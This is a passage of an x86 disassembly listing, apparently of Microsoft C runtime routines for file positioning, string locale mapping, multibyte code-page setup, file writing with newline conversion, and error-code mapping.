sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_41C4FD
mov [edi+4], ebx
loc_41C4FD: ; CODE XREF: sub_41C4E1+17j
push 1
push ebx
push esi
call sub_41C447
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_41C56B
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_41C522
sub eax, [edi+4]
jmp loc_41C634
; ---------------------------------------------------------------------------
loc_41C522: ; CODE XREF: sub_41C4E1+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_41C55C
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_46CE20[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_41C573
mov edx, ecx
loc_41C54D: ; CODE XREF: sub_41C4E1+79j
cmp edx, eax
jnb short loc_41C573
cmp byte ptr [edx], 0Ah
jnz short loc_41C559
inc [ebp+var_8]
loc_41C559: ; CODE XREF: sub_41C4E1+73j
inc edx
jmp short loc_41C54D
; ---------------------------------------------------------------------------
loc_41C55C: ; CODE XREF: sub_41C4E1+50j
test dl, 80h
jnz short loc_41C573
mov dword_46BB04, 16h
loc_41C56B: ; CODE XREF: sub_41C4E1+2Dj
or eax, 0FFFFFFFFh
jmp loc_41C634
; ---------------------------------------------------------------------------
loc_41C573: ; CODE XREF: sub_41C4E1+68j
; sub_41C4E1+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_41C581
mov eax, [ebp+var_8]
jmp loc_41C634
; ---------------------------------------------------------------------------
loc_41C581: ; CODE XREF: sub_41C4E1+96j
test byte ptr [edi+0Ch], 1
jz loc_41C62C
mov edx, [edi+4]
test edx, edx
jnz short loc_41C59A
and [ebp+var_8], edx
jmp loc_41C62C
; ---------------------------------------------------------------------------
loc_41C59A: ; CODE XREF: sub_41C4E1+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:46CE20h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_41C626
push 2
push 0
push [ebp+var_C]
call sub_41C447
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_41C5ED
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_41C5D8: ; CODE XREF: sub_41C4E1+104j
cmp eax, ecx
jnb short loc_41C5E7
cmp byte ptr [eax], 0Ah
jnz short loc_41C5E4
inc [ebp+arg_0]
loc_41C5E4: ; CODE XREF: sub_41C4E1+FEj
inc eax
jmp short loc_41C5D8
; ---------------------------------------------------------------------------
loc_41C5E7: ; CODE XREF: sub_41C4E1+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_41C621
; ---------------------------------------------------------------------------
loc_41C5ED: ; CODE XREF: sub_41C4E1+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_41C447
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_41C614
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_41C614
test ch, 4
jz short loc_41C617
loc_41C614: ; CODE XREF: sub_41C4E1+124j
; sub_41C4E1+12Cj
mov eax, [edi+18h]
loc_41C617: ; CODE XREF: sub_41C4E1+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_41C621: ; CODE XREF: sub_41C4E1+10Aj
jz short loc_41C626
inc [ebp+arg_0]
loc_41C626: ; CODE XREF: sub_41C4E1+D9j
; sub_41C4E1:loc_41C621j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_41C62C: ; CODE XREF: sub_41C4E1+A4j
; sub_41C4E1+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_41C634: ; CODE XREF: sub_41C4E1+3Cj
; sub_41C4E1+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41C4E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C639 proc near ; CODE XREF: sub_417033+A3p
; sub_41B539+A5p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4218A8
push offset sub_41D6A4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_46BB90, edi
jnz short loc_41C6AF
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_4218A0
mov esi, 100h
push esi
push edi
call dword_421194 ; LCMapStringW
test eax, eax
jz short loc_41C68D
mov dword_46BB90, ebx
jmp short loc_41C6AF
; ---------------------------------------------------------------------------
loc_41C68D: ; CODE XREF: sub_41C639+4Aj
push edi
push edi
push ebx
push offset dword_43B668
push esi
push edi
call dword_421190 ; LCMapStringA
test eax, eax
jz loc_41C7C7
mov dword_46BB90, 2
loc_41C6AF: ; CODE XREF: sub_41C639+2Ej
; sub_41C639+52j
cmp [ebp+arg_C], edi
jle short loc_41C6C4
push [ebp+arg_C]
push [ebp+arg_8]
call sub_420396
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_41C6C4: ; CODE XREF: sub_41C639+79j
mov eax, dword_46BB90
cmp eax, 2
jnz short loc_41C6EB
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_421190 ; LCMapStringA
jmp loc_41C7C9
; ---------------------------------------------------------------------------
loc_41C6EB: ; CODE XREF: sub_41C639+93j
cmp eax, 1
jnz loc_41C7C7
cmp [ebp+arg_18], edi
jnz short loc_41C701
mov eax, dword_46BBAC
mov [ebp+arg_18], eax
loc_41C701: ; CODE XREF: sub_41C639+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
call dword_421064 ; MultiByteToWideChar
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_41C7C7
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_415B90
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41C75C
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_41C75C: ; CODE XREF: sub_41C639+10Ej
cmp [ebp+var_24], edi
jz short loc_41C7C7
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
call dword_421064 ; MultiByteToWideChar
test eax, eax
jz short loc_41C7C7
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_421194 ; LCMapStringW
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_41C7C7
test byte ptr [ebp+arg_4+1], 4
jz short loc_41C7DB
cmp [ebp+arg_14], edi
jz loc_41C856
cmp esi, [ebp+arg_14]
jg short loc_41C7C7
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_421194 ; LCMapStringW
test eax, eax
jnz loc_41C856
loc_41C7C7: ; CODE XREF: sub_41C639+66j
; sub_41C639+B5j ...
xor eax, eax
loc_41C7C9: ; CODE XREF: sub_41C639+ADj
; sub_41C639+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41C7DB: ; CODE XREF: sub_41C639+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_415B90
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41C80F
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_41C80F: ; CODE XREF: sub_41C639+1C2j
cmp ebx, edi
jz short loc_41C7C7
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_421194 ; LCMapStringW
test eax, eax
jz short loc_41C7C7
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_41C836
push edi
push edi
jmp short loc_41C83C
; ---------------------------------------------------------------------------
loc_41C836: ; CODE XREF: sub_41C639+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_41C83C: ; CODE XREF: sub_41C639+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
call dword_421138 ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz loc_41C7C7
loc_41C856: ; CODE XREF: sub_41C639+165j
; sub_41C639+188j
mov eax, esi
jmp loc_41C7C9
sub_41C639 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C85D proc near ; CODE XREF: sub_41CC21+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41C9F6 ; GetOEMCP
mov esi, eax
pop ecx
cmp esi, dword_46CF24
mov [ebp+arg_0], esi
jz loc_41C9EA
xor ebx, ebx
cmp esi, ebx
jz loc_41C9E0
xor edx, edx
mov eax, offset dword_43A790
loc_41C891: ; CODE XREF: sub_41C85D+41j
cmp [eax], esi
jz short loc_41C907
add eax, 30h
inc edx
cmp eax, offset dword_43A880
jl short loc_41C891
lea eax, [ebp+var_18]
push eax
push esi
call dword_421198 ; GetCPInfo
cmp eax, 1
jnz loc_41C9D8
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_46D040
cmp [ebp+var_18], 1
mov dword_46CF24, esi
rep stosd
stosb
mov dword_46D144, ebx
jbe loc_41C9C6
cmp [ebp+var_12], 0
jz loc_41C99C
lea ecx, [ebp+var_11]
loc_41C8E4: ; CODE XREF: sub_41C85D+139j
mov dl, [ecx]
test dl, dl
jz loc_41C99C
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_41C8F5: ; CODE XREF: sub_41C85D+A8j
cmp eax, edx
ja loc_41C990
or byte_46D041[eax], 4
inc eax
jmp short loc_41C8F5
; ---------------------------------------------------------------------------
loc_41C907: ; CODE XREF: sub_41C85D+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_46D040
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_43A7A0[esi]
loc_41C923: ; CODE XREF: sub_41C85D+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_41C956
loc_41C92A: ; CODE XREF: sub_41C85D+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_41C956
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_41C94F
mov edx, [ebp+var_4]
mov dl, byte_43A788[edx]
loc_41C944: ; CODE XREF: sub_41C85D+F0j
or byte_46D041[eax], dl
inc eax
cmp eax, edi
jbe short loc_41C944
loc_41C94F: ; CODE XREF: sub_41C85D+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_41C92A
loc_41C956: ; CODE XREF: sub_41C85D+CBj
; sub_41C85D+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_41C923
mov eax, [ebp+arg_0]
mov dword_46CF3C, 1
push eax
mov dword_46CF24, eax
call sub_41CA40
lea esi, dword_43A794[esi]
mov edi, offset dword_46CF30
movsd
movsd
pop ecx
mov dword_46D144, eax
movsd
jmp short loc_41C9E5
; ---------------------------------------------------------------------------
loc_41C990: ; CODE XREF: sub_41C85D+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_41C8E4
loc_41C99C: ; CODE XREF: sub_41C85D+7Ej
; sub_41C85D+8Bj
push 1
pop eax
loc_41C99F: ; CODE XREF: sub_41C85D+14Fj
or byte_46D041[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_41C99F
push esi
call sub_41CA40
pop ecx
mov dword_46D144, eax
mov dword_46CF3C, 1
jmp short loc_41C9CC
; ---------------------------------------------------------------------------
loc_41C9C6: ; CODE XREF: sub_41C85D+74j
mov dword_46CF3C, ebx
loc_41C9CC: ; CODE XREF: sub_41C85D+167j
xor eax, eax
mov edi, offset dword_46CF30
stosd
stosd
stosd
jmp short loc_41C9E5
; ---------------------------------------------------------------------------
loc_41C9D8: ; CODE XREF: sub_41C85D+51j
cmp dword_46BBB4, ebx
jz short loc_41C9EE
loc_41C9E0: ; CODE XREF: sub_41C85D+27j
call sub_41CA73
loc_41C9E5: ; CODE XREF: sub_41C85D+131j
; sub_41C85D+179j
call sub_41CA9C
loc_41C9EA: ; CODE XREF: sub_41C85D+1Dj
xor eax, eax
jmp short loc_41C9F1
; ---------------------------------------------------------------------------
loc_41C9EE: ; CODE XREF: sub_41C85D+181j
or eax, 0FFFFFFFFh
loc_41C9F1: ; CODE XREF: sub_41C85D+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41C85D endp
; =============== S U B R O U T I N E =======================================
sub_41C9F6 proc near ; CODE XREF: sub_41C85D+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_46BBB4, 0
cmp eax, 0FFFFFFFEh
jnz short loc_41CA16
mov dword_46BBB4, 1
jmp dword_4211A0
; ---------------------------------------------------------------------------
loc_41CA16: ; CODE XREF: sub_41C9F6+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_41CA2B
mov dword_46BBB4, 1
jmp dword_42119C
; ---------------------------------------------------------------------------
loc_41CA2B: ; CODE XREF: sub_41C9F6+23j
cmp eax, 0FFFFFFFCh
jnz short locret_41CA3F
mov eax, dword_46BBAC
mov dword_46BBB4, 1
locret_41CA3F: ; CODE XREF: sub_41C9F6+38j
retn
sub_41C9F6 endp
; =============== S U B R O U T I N E =======================================
sub_41CA40 proc near ; CODE XREF: sub_41C85D+118p
; sub_41C85D+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_41CA6D
sub eax, 4
jz short loc_41CA67
sub eax, 0Dh
jz short loc_41CA61
dec eax
jz short loc_41CA5B
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41CA5B: ; CODE XREF: sub_41CA40+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_41CA61: ; CODE XREF: sub_41CA40+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_41CA67: ; CODE XREF: sub_41CA40+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_41CA6D: ; CODE XREF: sub_41CA40+9j
mov eax, 411h
retn
sub_41CA40 endp
; =============== S U B R O U T I N E =======================================
sub_41CA73 proc near ; CODE XREF: sub_41C85D:loc_41C9E0p
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_46D040
rep stosd
stosb
xor eax, eax
mov edi, offset dword_46CF30
mov dword_46CF24, eax
mov dword_46CF3C, eax
mov dword_46D144, eax
stosd
stosd
stosd
pop edi
retn
sub_41CA73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CA9C proc near ; CODE XREF: sub_41C85D:loc_41C9E5p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_46CF24
call dword_421198 ; GetCPInfo
cmp eax, 1
jnz loc_41CBD5
xor eax, eax
mov esi, 100h
loc_41CAC6: ; CODE XREF: sub_41CA9C+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_41CAC6
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_41CB17
push ebx
push edi
lea edx, [ebp+var_D]
loc_41CAE5: ; CODE XREF: sub_41CA9C+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_41CB0C
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_41CB0C: ; CODE XREF: sub_41CA9C+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_41CAE5
pop edi
pop ebx
loc_41CB17: ; CODE XREF: sub_41CA9C+42j
push 0
lea eax, [ebp+var_514]
push dword_46D144
push dword_46CF24
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_41DA93
push 0
lea eax, [ebp+var_214]
push dword_46CF24
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_46D144
call sub_41C639
push 0
lea eax, [ebp+var_314]
push dword_46CF24
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_46D144
call sub_41C639
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_41CB92: ; CODE XREF: sub_41CA9C+135j
mov dx, [ecx]
test dl, 1
jz short loc_41CBB0
or byte_46D041[eax], 10h
mov dl, [ebp+eax+var_214]
loc_41CBA8: ; CODE XREF: sub_41CA9C+127j
mov byte_46CF40[eax], dl
jmp short loc_41CBCC
; ---------------------------------------------------------------------------
loc_41CBB0: ; CODE XREF: sub_41CA9C+FCj
test dl, 2
jz short loc_41CBC5
or byte_46D041[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_41CBA8
; ---------------------------------------------------------------------------
loc_41CBC5: ; CODE XREF: sub_41CA9C+117j
and byte_46CF40[eax], 0
loc_41CBCC: ; CODE XREF: sub_41CA9C+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_41CB92
jmp short loc_41CC1E
; ---------------------------------------------------------------------------
loc_41CBD5: ; CODE XREF: sub_41CA9C+1Dj
xor eax, eax
mov esi, 100h
loc_41CBDC: ; CODE XREF: sub_41CA9C+180j
cmp eax, 41h
jb short loc_41CBFA
cmp eax, 5Ah
ja short loc_41CBFA
or byte_46D041[eax], 10h
mov cl, al
add cl, 20h
loc_41CBF2: ; CODE XREF: sub_41CA9C+174j
mov byte_46CF40[eax], cl
jmp short loc_41CC19
; ---------------------------------------------------------------------------
loc_41CBFA: ; CODE XREF: sub_41CA9C+143j
; sub_41CA9C+148j
cmp eax, 61h
jb short loc_41CC12
cmp eax, 7Ah
ja short loc_41CC12
or byte_46D041[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_41CBF2
; ---------------------------------------------------------------------------
loc_41CC12: ; CODE XREF: sub_41CA9C+161j
; sub_41CA9C+166j
and byte_46CF40[eax], 0
loc_41CC19: ; CODE XREF: sub_41CA9C+15Cj
inc eax
cmp eax, esi
jb short loc_41CBDC
loc_41CC1E: ; CODE XREF: sub_41CA9C+137j
pop esi
leave
retn
sub_41CA9C endp
; =============== S U B R O U T I N E =======================================
sub_41CC21 proc near ; CODE XREF: sub_41D05F+9p
; sub_41D0B7+Dp ...
cmp dword_46D174, 0
jnz short locret_41CC3C
push 0FFFFFFFDh
call sub_41C85D
pop ecx
mov dword_46D174, 1
locret_41CC3C: ; CODE XREF: sub_41CC21+7j
retn
sub_41CC21 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CC3D proc near ; CODE XREF: sub_4171E8+2Bp
; sub_4171E8+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_46CF3C, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_41CC61
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_416BE0
add esp, 0Ch
jmp short loc_41CCC4
; ---------------------------------------------------------------------------
loc_41CC61: ; CODE XREF: sub_41CC3D+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_41CCA6
mov ecx, [ebp+arg_4]
loc_41CC6C: ; CODE XREF: sub_41CC3D+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_46D041[esi], 4
mov [edi], al
jz short loc_41CC90
inc edi
inc ecx
test edx, edx
jz short loc_41CC9C
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_41CCA2
jmp short loc_41CC96
; ---------------------------------------------------------------------------
loc_41CC90: ; CODE XREF: sub_41CC3D+3Ej
inc edi
inc ecx
test al, al
jz short loc_41CCA6
loc_41CC96: ; CODE XREF: sub_41CC3D+51j
test edx, edx
jnz short loc_41CC6C
jmp short loc_41CCA6
; ---------------------------------------------------------------------------
loc_41CC9C: ; CODE XREF: sub_41CC3D+44j
and byte ptr [edi-1], 0
jmp short loc_41CCA6
; ---------------------------------------------------------------------------
loc_41CCA2: ; CODE XREF: sub_41CC3D+4Fj
and byte ptr [edi-2], 0
loc_41CCA6: ; CODE XREF: sub_41CC3D+2Aj
; sub_41CC3D+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_41CCC1
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_41CCC1: ; CODE XREF: sub_41CC3D+6Fj
mov eax, [ebp+arg_0]
loc_41CCC4: ; CODE XREF: sub_41CC3D+22j
pop edi
pop ebp
retn
sub_41CC3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CCC7 proc near ; CODE XREF: sub_41761F+A2p
; sub_417C57+95p ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_46CF20
push esi
push edi
jnb loc_41CE5B
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:46CE20h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_41CE5B
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_41CD18
loc_41CD11: ; CODE XREF: sub_41CCC7+177j
xor eax, eax
jmp loc_41CE6F
; ---------------------------------------------------------------------------
loc_41CD18: ; CODE XREF: sub_41CCC7+48j
test al, 20h
jz short loc_41CD28
push 2
push edi
push ecx
call sub_41C447
add esp, 0Ch
loc_41CD28: ; CODE XREF: sub_41CCC7+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_41CDF7
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_41CE2F
loc_41CD48: ; CODE XREF: sub_41CCC7+F5j
lea eax, [ebp+var_414]
loc_41CD4E: ; CODE XREF: sub_41CCC7+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_41CD82
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_41CD6D
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_41CD6D: ; CODE XREF: sub_41CCC7+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_41CD4E
loc_41CD82: ; CODE XREF: sub_41CCC7+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_421070 ; WriteFile
test eax, eax
jz short loc_41CDEC
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_41CDBE
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_41CD48
loc_41CDBE: ; CODE XREF: sub_41CCC7+EAj
; sub_41CCC7+12Ej
xor edi, edi
loc_41CDC0: ; CODE XREF: sub_41CCC7+150j
; sub_41CCC7+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_41CE56
cmp [ebp+arg_0], edi
jz short loc_41CE2F
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_41CE24
mov dword_46BB04, 9
mov dword_46BB08, eax
jmp loc_41CE6C
; ---------------------------------------------------------------------------
loc_41CDEC: ; CODE XREF: sub_41CCC7+E0j
call dword_421088 ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_41CDBE
; ---------------------------------------------------------------------------
loc_41CDF7: ; CODE XREF: sub_41CCC7+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
call dword_421070 ; WriteFile
test eax, eax
jz short loc_41CE19
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_41CDC0
; ---------------------------------------------------------------------------
loc_41CE19: ; CODE XREF: sub_41CCC7+145j
call dword_421088 ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_41CDC0
; ---------------------------------------------------------------------------
loc_41CE24: ; CODE XREF: sub_41CCC7+10Fj
push [ebp+arg_0]
call sub_41CE74
pop ecx
jmp short loc_41CE6C
; ---------------------------------------------------------------------------
loc_41CE2F: ; CODE XREF: sub_41CCC7+7Bj
; sub_41CCC7+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_41CE44
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_41CD11
loc_41CE44: ; CODE XREF: sub_41CCC7+16Fj
mov dword_46BB04, 1Ch
mov dword_46BB08, edi
jmp short loc_41CE6C
; ---------------------------------------------------------------------------
loc_41CE56: ; CODE XREF: sub_41CCC7+FEj
sub eax, [ebp+var_10]
jmp short loc_41CE6F
; ---------------------------------------------------------------------------
loc_41CE5B: ; CODE XREF: sub_41CCC7+15j
; sub_41CCC7+37j
and dword_46BB08, 0
mov dword_46BB04, 9
loc_41CE6C: ; CODE XREF: sub_41CCC7+120j
; sub_41CCC7+166j ...
or eax, 0FFFFFFFFh
loc_41CE6F: ; CODE XREF: sub_41CCC7+4Cj
; sub_41CCC7+192j
pop edi
pop esi
pop ebx
leave
retn
sub_41CCC7 endp
; =============== S U B R O U T I N E =======================================
sub_41CE74 proc near ; CODE XREF: sub_417729+16p
; sub_41791C+1Dp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_46BB08, ecx
mov eax, offset dword_43A880
loc_41CE85: ; CODE XREF: sub_41CE74+1Ej
cmp ecx, [eax]
jz short loc_41CEA9
add eax, 8
inc edx
cmp eax, offset dword_43A9E8
jl short loc_41CE85
cmp ecx, 13h
jb short loc_41CEB6
cmp ecx, 24h
ja short loc_41CEB6
mov dword_46BB04, 0Dh
retn
; ---------------------------------------------------------------------------
loc_41CEA9: ; CODE XREF: sub_41CE74+13j
mov eax, dword_43A884[edx*8]
mov dword_46BB04, eax
retn
; ---------------------------------------------------------------------------
loc_41CEB6: ; CODE XREF: sub_41CE74+23j
; sub_41CE74+28j
cmp ecx, 0BCh
jb short loc_41CED0
cmp ecx, 0CAh
mov dword_46BB04, 8
jbe short locret_41CEDA
loc_41CED0: ; CODE XREF: sub_41CE74+48j
mov dword_46BB04, 16h
locret_41CEDA: ; CODE XREF: sub_41CE74+5Aj
retn
sub_41CE74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CEDB proc near ; CODE XREF: .text:00417BFBp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push [ebp+arg_0]
call sub_41D01C
test eax, eax
pop ecx
jz loc_41D010
mov ebx, [eax+8]
test ebx, ebx
jz loc_41D010
cmp ebx, 5
jnz short loc_41CF0C
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_41D019
; ---------------------------------------------------------------------------
loc_41CF0C: ; CODE XREF: sub_41CEDB+23j
cmp ebx, 1
jz loc_41D00B
mov ecx, dword_46BBB8
mov [ebp+arg_0], ecx
mov ecx, [ebp+arg_4]
mov dword_46BBB8, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_41CFFB
mov ecx, dword_43AA60
mov edx, dword_43AA64
add edx, ecx
push esi
cmp ecx, edx
jge short loc_41CF5B
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:43A9F0h[esi*4]
